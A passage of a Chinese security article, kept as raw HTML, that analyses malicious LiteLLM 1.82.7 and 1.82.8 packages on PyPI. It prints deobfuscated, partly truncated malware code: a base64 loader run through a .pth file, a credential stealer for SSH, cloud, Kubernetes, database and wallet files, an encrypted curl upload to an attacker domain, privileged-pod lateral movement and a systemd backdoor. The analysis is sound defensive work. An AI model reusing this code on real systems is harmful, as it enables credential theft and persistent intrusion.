1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">3.1 两种注入方式</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">两个恶意版本的注入方式存在差异：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">1.82.7：</span></strong><p><span leaf="">在 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm/proxy/proxy_server.py</span></code><span leaf=""> 中注入代码</span></p></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">1.82.8：</span></strong><p><span leaf="">通过 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.pth</span></code><span leaf=""> 文件在启动阶段执行</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm/proxy/proxy_server.py</span></code></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> subprocess, base64, sys, tempfile, os</span></code><br/><code><span leaf="">b64_payload = <span class="code-snippet__string">&#34;aW1wb3J0IHN1YnBy...&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> tempfile.TemporaryDirectory() <span class="code-snippet__keyword">as</span> d:</span></code><br/><code><span leaf="">p = os.path.join(d, <span class="code-snippet__string">&#34;p.py&#34;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">with</span> <span class="code-snippet__built_in">open</span>(p, <span class="code-snippet__string">&#34;wb&#34;</span>) <span class="code-snippet__keyword">as</span> f:</span></code><br/><code><span leaf="">f.write(base64.b64decode(b64_payload))</span></code><br/><code><span leaf="">subprocess.run([sys.executable, p])</span></code><br/><code><span leaf="">...</span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 12.8px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(246, 246, 246);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">litellm/proxy/__init__.py</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__keyword">from</span> . <span class="code-snippet__keyword">import</span> *</span></code></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">当 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">proxy</span></code><span leaf=""> 模块被导入时，恶意代码即被执行。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 20px;">3.2 恶意代码解析</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过对</span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">litellm_init.pth</span></code><span leaf="">中的恶意代码进行反混淆，我们获得了如下代码。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">import</span> subprocess</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> tempfile</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> os</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> base64</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">import</span> sys</span></code><br/><code><span leaf="">PUB_KEY_CONTENT = <span class="code-snippet__string">&#34;&#34;&#34;-----BEGIN PUBLIC KEY-----</span></span></code><br/><code><span leaf="">MIICIj...AAQ==</span></code><br/><code><span leaf="">-----END PUBLIC KEY-----&#34;&#34;&#34;</span></code><br/><code><span leaf="">B64_SCRIPT = </span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;aW1wb3J0IG9zLH...&#34;</span></span></code><br/><code><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">run</span>():</span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">try</span>:</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;openssl&#34;</span>, <span class="code-snippet__string">&#34;rand&#34;</span>, <span class="code-snippet__string">&#34;-out&#34;</span>, sk, <span class="code-snippet__string">&#34;32&#34;</span>], check=<span class="code-snippet__literal">True</span>)</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;openssl&#34;</span>, <span class="code-snippet__string">&#34;enc&#34;</span>, <span class="code-snippet__string">&#34;-aes-256-cbc&#34;</span>, <span class="code-snippet__string">&#34;-in&#34;</span>, collected, <span class="code-snippet__string">&#34;-out&#34;</span>, ef, <span class="code-snippet__string">&#34;-pass&#34;</span>, <span class="code-snippet__string">f&#34;file:</span><span class="code-snippet__string"><span class="code-snippet__subst">{sk}</span></span><span class="code-snippet__string">&#34;</span>, <span class="code-snippet__string">&#34;-pbkdf2&#34;</span>], check=<span class="code-snippet__literal">True</span>, stderr=subprocess.DEVNULL)</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;openssl&#34;</span>, <span class="code-snippet__string">&#34;pkeyutl&#34;</span>, <span class="code-snippet__string">&#34;-encrypt&#34;</span>, <span class="code-snippet__string">&#34;-pubin&#34;</span>, <span class="code-snippet__string">&#34;-inkey&#34;</span>, pk, <span class="code-snippet__string">&#34;-in&#34;</span>, sk, <span class="code-snippet__string">&#34;-out&#34;</span>, ek, <span class="code-snippet__string">&#34;-pkeyopt&#34;</span>, <span class="code-snippet__string">&#34;rsa_padding_mode:oaep&#34;</span>], check=<span class="code-snippet__literal">True</span>, stderr=subprocess.DEVNULL)</span></code><br/><code><span leaf="">subprocess.run([<span class="code-snippet__string">&#34;tar&#34;</span>, <span class="code-snippet__string">&#34;-czf&#34;</span>, bn, <span class="code-snippet__string">&#34;-C&#34;</span>, d, <span class="code-snippet__string">&#34;payload.enc&#34;</span>, <span class="code-snippet__string">&#34;session.key.enc&#34;</span>], check=<span class="code-snippet__literal">True</span>)</span></code><br/><code><span leaf="">subprocess.run([</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;curl&#34;</span>, <span class="code-snippet__string">&#34;-s&#34;</span>, <span class="code-snippet__string">&#34;-o&#34;</span>, <span class="code-snippet__string">&#34;/dev/null&#34;</span>, <span class="code-snippet__string">&#34;-w&#34;</span>, <span class="code-snippet__string">&#34;%{http_code}&#34;</span>, <span class="code-snippet__string">&#34;-X&#34;</span>, <span class="code-snippet__string">&#34;POST&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;https[:]//models.litellm.cloud/&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;-H&#34;</span>, <span class="code-snippet__string">&#34;Content-Type: application/octet-stream&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;-H&#34;</span>, <span class="code-snippet__string">&#34;X-Filename: tpcp.tar.gz&#34;</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#34;--data-binary&#34;</span>, <span class="code-snippet__string">f&#34;@</span><span class="code-snippet__string"><span class="code-snippet__subst">{bn}</span></span><span class="code-snippet__string">&#34;</span></span></code><br/><code><span leaf="">], check=<span class="code-snippet__literal">True</span>, stderr=subprocess.DEVNULL)</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">except</span> Exception:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">pass</span></span></code><br/></pre></p><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">从中我们可以看到，攻击者使用RSA公钥加密会话密钥，通过AES-256-CBC加密窃取的数据，最终打包为tar.gz并通过curl外传到 https[:]//models.litellm.cloud/,其为攻击者控制的一个网址。 其具体执行的恶意代码，仍然被base64编码混淆，再次反混淆后，我们得到了最终的攻击脚本，如下所示。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf=""><span class="code-snippet__keyword">import</span> os,sys,stat,subprocess,glob</span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf="">run(<span class="code-snippet__string">&#39;hostname; pwd; whoami; uname -a; ip addr 2&gt;/dev/null || ifconfig 2&gt;/dev/null; ip route 2&gt;/dev/null&#39;</span>)</span></code><br/><code><span leaf="">run(<span class="code-snippet__string">&#39;printenv&#39;</span>)</span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> h <span class="code-snippet__keyword">in</span> homes+[<span class="code-snippet__string">&#39;/root&#39;</span>]:</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">for</span> f <span class="code-snippet__keyword">in</span> [<span class="code-snippet__string">&#39;/.ssh/id_rsa&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/id_ed25519&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/id_ecdsa&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/id_dsa&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/authorized_keys&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/known_hosts&#39;</span>,<span class="code-snippet__string">&#39;/.ssh/config&#39;</span>]:</span></code><br/><code><span leaf="">emit(h+f)</span></code><br/><code><span leaf="">walk([h+<span class="code-snippet__string">&#39;/.ssh&#39;</span>],<span class="code-snippet__number">2</span>,<span class="code-snippet__keyword">lambda</span> fp,fn:<span class="code-snippet__literal">True</span>)</span></code><br/><code><span leaf="">...</span></code><br/><code><span leaf="">emit(<span class="code-snippet__string">&#39;/var/lib/postgresql/.pgpass&#39;</span>)</span></code><br/><code><span leaf="">emit(<span class="code-snippet__string">&#39;/etc/mysql/my.cnf&#39;</span>)</span></code><br/><code><span leaf="">emit(<span class="code-snippet__string">&#39;/etc/redis/redis.conf&#39;</span>)</span></code><br/><code><span leaf="">...</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">具体攻击逻辑如下：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 16px;">1.系统信息收集</span></span></strong></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="javascript"><code><span leaf=""><span class="code-snippet__title">run</span>(<span class="code-snippet__string">&#39;hostname; pwd; whoami; uname -a; ip addr...&#39;</span>)</span></code><br/><code><span leaf=""><span class="code-snippet__title">run</span>(<span class="code-snippet__string">&#39;printenv&#39;</span>)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 16px;">1.多维度凭据窃取</span></span></strong></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">SSH密钥: ~/.ssh/id_rsa, id_ed25519, authorized_keys等</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">云服务凭据: AWS（/.aws/credentials)、GCP(</span><span leaf="">/.config/gcloud)、Azure(~/.azure)</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">Kubernetes: /var/run/secrets/kubernetes.io/serviceaccount/token,</span><span leaf=""><br/></span><span leaf="">kubeconfig等</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">数据库: .pgpass, .my.cnf, Redis/Mongo配置</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">Docker: ~/.docker/config.json</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">加密货币钱包: Bitcoin、Ethereum、Solana等密钥文件</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf=""><span textstyle="" style="font-size: 16px;">3.AWS凭据深度利用</span></span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf=""><span textstyle="" style="font-size: 16px;">通过IMDSv2获取实例角色临时凭据，并调用Secrets Manager和SSM Parameter Store：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">tkn_req</span>=urllib.request.Request(<span class="code-snippet__string">&#39;http[:]//169.254.169.254/latest/api/token&#39;</span>, ...)</span></code><br/><code><span leaf=""><span class="code-snippet__attr">cred_req</span>=urllib.request.Request(<span class="code-snippet__string">&#39;http[:]//169.254.169.254/latest/meta-data/iam/s</span></span></code><br/><code><span leaf="">ecurity-credentials/&#39;, ...)</span></code><br/><code><span leaf=""><span class="code-snippet__attr">sm</span>=aws_req(<span class="code-snippet__string">&#39;POST&#39;</span>,<span class="code-snippet__string">&#39;secretsmanager&#39;</span>,REG,<span class="code-snippet__string">&#39;/&#39;</span>,<span class="code-snippet__string">&#39;Action=ListSecrets&#39;</span>,...)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">4.Kubernetes集群渗透</span></strong><span leaf=""><br/></span><span leaf="">利用ServiceAccount Token横向移动，枚举全集群Secrets，并在每个节点部署特权Pod实现持久化：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="python"><code><span leaf="">pod_manifest={</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#39;hostPID&#39;</span>:<span class="code-snippet__literal">True</span>,<span class="code-snippet__string">&#39;hostNetwork&#39;</span>:<span class="code-snippet__literal">True</span>,</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#39;tolerations&#39;</span>:[{<span class="code-snippet__string">&#39;operator&#39;</span>:<span class="code-snippet__string">&#39;Exists&#39;</span>}],</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#39;securityContext&#39;</span>:{<span class="code-snippet__string">&#39;privileged&#39;</span>:<span class="code-snippet__literal">True</span>},</span></code><br/><code><span leaf=""><span class="code-snippet__string">&#39;volumeMounts&#39;</span>:[{<span class="code-snippet__string">&#39;name&#39;</span>:<span class="code-snippet__string">&#39;host&#39;</span>,<span class="code-snippet__string">&#39;mountPath&#39;</span>:<span class="code-snippet__string">&#39;/host&#39;</span>}]</span></code><br/><code><span leaf="">}</span></code><br/><code><span leaf="">k8s_post(<span class="code-snippet__string">&#39;/api/v1/namespaces/kube-system/pods&#39;</span>,pod_manifest)</span></code><br/></pre></p><p><strong style="box-sizing: border-box;font-weight: 600;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf="">5.持久化机制</span></strong><span leaf=""><br/></span><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;"><span leaf="">通过systemd用户服务安装后门，定期从C2 (checkmarx.zone) 获取指令：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="ini"><code><span leaf=""><span class="code-snippet__attr">PERSIST_B64</span>=<span class="code-snippet__string">&#39;aW1wb3J0IHVybGxpYi5yZXF1ZXN0...&#39;</span>  <span class="code-snippet__comment"># 解码后为下载执行器</span></span></code></pre></p><p><span style="color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">创建 ~/.config/sysmon/sysmon.py 和 systemd服务</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">subprocess<span class="code-snippet__selector-class">.run</span>(<span class="code-snippet__selector-attr">[</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;systemctl&#39;</span></span><span class="code-snippet__selector-attr">,</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;--user&#39;</span></span><span class="code-snippet__selector-attr">,</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;enable&#39;</span></span><span class="code-snippet__selector-attr">,</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;--now&#39;</span></span><span class="code-snippet__selector-attr">,</span><span class="code-snippet__selector-attr"><span class="code-snippet__string">&#39;sysmon.service&#39;</span></span><span class="code-snippet__selector-attr">]</span>)</span></code></pre></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 20px;">3.3 攻击总结</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">该样本为<span textstyle="" style="font-weight: bold;">云原生环境下的高级持续性威胁(APT)</span>工具，具备以下特征：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">针对多云平台(AWS/GCP/Azure/K8s)的凭据窃取</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">利用容器逃逸和特权Pod实现集群内横向移动</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">加密外传+后门持久化的完整攻击链</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">伪装成”System Telemetry Service”隐藏痕迹</span></p></li></ul><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">4. 总结</span></h1><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">此次针对 LiteLLM 的 PyPI 供应链投毒事件，再次暴露了当前 AI 生态在安全层面的脆弱性。尽管 AI 正在深刻改变我们的工作方式与生活模式，但其底层仍依赖于由大量基础代码构成的工具链，例如 agent、MCP 等组件。一旦其中任意环节遭到攻击，影响便可能迅速放大，给用户带来难以估量的损失。与此同时，AI 系统正逐渐具备更高权限，能够自动执行代码、下载并安装依赖，这在提升效率的同时，也显著扩大了潜在攻击面。在这样的背景下，安全责任的边界变得愈发模糊：是依赖平台治理、开发者自律，还是需要引入以 AI 对抗 AI 的自动化防御机制，这些都值得深入思考。此外，密钥窃取问题尤为值得警惕。一旦攻击者获取有效凭证，便可持续扩大攻击范围，形成连锁风险。因此，密钥管理与访问控制同样应成为 AI 供应链安全的重要防线。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">AI 正如一列高速飞驰的列车，推动社会不断向前发展。但若忽视其底层结构的安全隐患，哪怕是一个看似不起眼的“轴承”出现问题，也可能带来系统性的风险。如何在加速创新的同时筑牢安全底座，将是未来 AI 发展过程中必须正视的关键课题。</span></p><h1 style="box-sizing: border-box;font-size: 1.5rem;margin: 0.5rem 0px;line-height: 1.5rem;font-weight: 500;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">恶意包列表</span></h1><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.178125" data-s="300,640" data-type="png" data-w="1280" style="width:569px;height:101px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/QSjGzxHEMdvLndA4m2SlibDqwAMZ4vFeCHWlsGaCIau2KVTLSGsg9m6O7JQYqVx8V3kk7IxicxQ1JZ8S8D4W4IsX1MvZXZqwJJLKKD1BKtUoo/0?wx_fmt=png&amp;from=appmsg" data-cropx1="16.546712802768166" data-cropx2="1585.7266435986157" data-cropy1="63.42906574394464" data-cropy2="341.96539792387546" data-imgfileid="100005449" 